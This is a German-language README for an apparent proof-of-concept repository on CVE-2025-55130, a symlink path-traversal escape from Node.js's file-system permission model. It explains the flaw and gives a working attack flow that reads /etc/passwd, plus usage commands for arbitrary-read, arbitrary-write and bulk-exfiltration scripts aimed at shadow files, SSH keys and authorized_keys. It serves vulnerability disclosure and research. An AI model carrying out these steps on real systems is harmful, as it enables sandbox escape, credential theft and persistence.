CVE-2025-55130 - Symlink-Escape im Node.js-Berechtigungsmodell
___ _ _ ___ ____ ____ ____ ____ ____ ____ _ _____ ___
/ __| | | | __|___/ _ \ / _ \___ \| ___| | ___| ___/ |___ // _ \
| (__| |_| | _|___| |_| || | | |__) |___ \ _____|__ \___ \ | |_ | | | |
\___|\___/|___| \__ ||_| |_|___/|_____|_____|__) |__) || |__) |_| |
|___/ |____/____/|_|____/\___/
Umgehung des Node.js-Berechtigungsmodells durch präparierte Symlinks
[ Entdeckt von natann @ JFrog ]
Übersicht
Ein Pfad-Traversal-Fehler in Node.js ermöglicht das Ausbrechen aus den Berechtigungsbeschränkungen von --allow-fs-read und --allow-fs-write mithilfe von Symlinks, die auf absolute Pfade verweisen, kombiniert mit relativer Traversierung.
Die Berechtigungsprüfung und die Pfadauflösung erfolgen getrennt. Sobald der anfängliche Pfad die Berechtigungsprüfung besteht, wird dem Symlink gefolgt und die Traversierungssequenzen verlassen die Sandbox.
Betroffene Versionen
Technische Analyse
Ursache
Berechtigungsprüfung: ./nested/dirs/symlink/../../../etc/passwd
^^^^^^^^^^^^^^^^^^ ERLAUBT (beginnt mit ./)
Pfadauflösung: /actual/path/to/script/../../../etc/passwd
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Löst auf zu /etc/passwd - AUSSERHALB DER SANDBOX
Das Berechtigungsmodell validiert die Pfadzeichenfolge vor der Symlink-Auflösung. Indem wir einen Symlink zu einem absoluten Pfad erstellen und die ../-Traversierung NACH dem Symlink verwenden, entkommen wir dem erlaubten Verzeichnis.
Angriffsablauf
1. mkdir -p ./a/b/c/d/e/f/g # Erstelle verschachtelte Verzeichnisse im erlaubten Pfad
2. ln -s $(pwd) ./a/b/c/d/e/f/g/x # Symlink zu absolutem Pfad
3. read ./a/b/c/d/e/f/g/x/../../../etc/passwd
^^^^^^^^^^^^^^^^^
Berechtigungsprüfung bestanden (innerhalb ./)
Nach Symlink-Auflösung:
/home/user/project/../../../etc/passwd -> /etc/passwd
^^^^^^^^^^^^^^^^^^^^
Traversierung entkommt in das Wurzelverzeichnis
Dateien
| Datei | Zweck |
|---|
exploit.js | Hauptexploit – Beliebige Dateien lesen |
exploit_write.js | Beliebige Dateien schreiben |
Verwendung
# Grundlegende Ausnutzung
node --permission --allow-fs-read=. --allow-fs-write=. exploit.js
# Auf Verwundbarkeit prüfen
node check.js
# Massenhafter Abfluss
node --permission --allow-fs-read=. --allow-fs-write=. exfil.js
Auswirkungen
- Sensible Dateien lesen: /etc/passwd, /etc/shadow, SSH-Schlüssel, Konfigurationen
- Beliebige Dateien schreiben: Cron-Jobs, authorized_keys, Konfigurationen
- Container-Ausbruch in Multi-Tenant-Umgebungen
- Umgehung der Sandbox zur Ausführung nicht vertrauenswürdigen Codes
Referenzen
Danksagungen
- Verwundbarkeit: Natan Nehorai (natann) @ JFrog Security Research
- Fix: RafaelGSS @ Node.js
Nur für Forschungs- und autorisierte Testzwecke.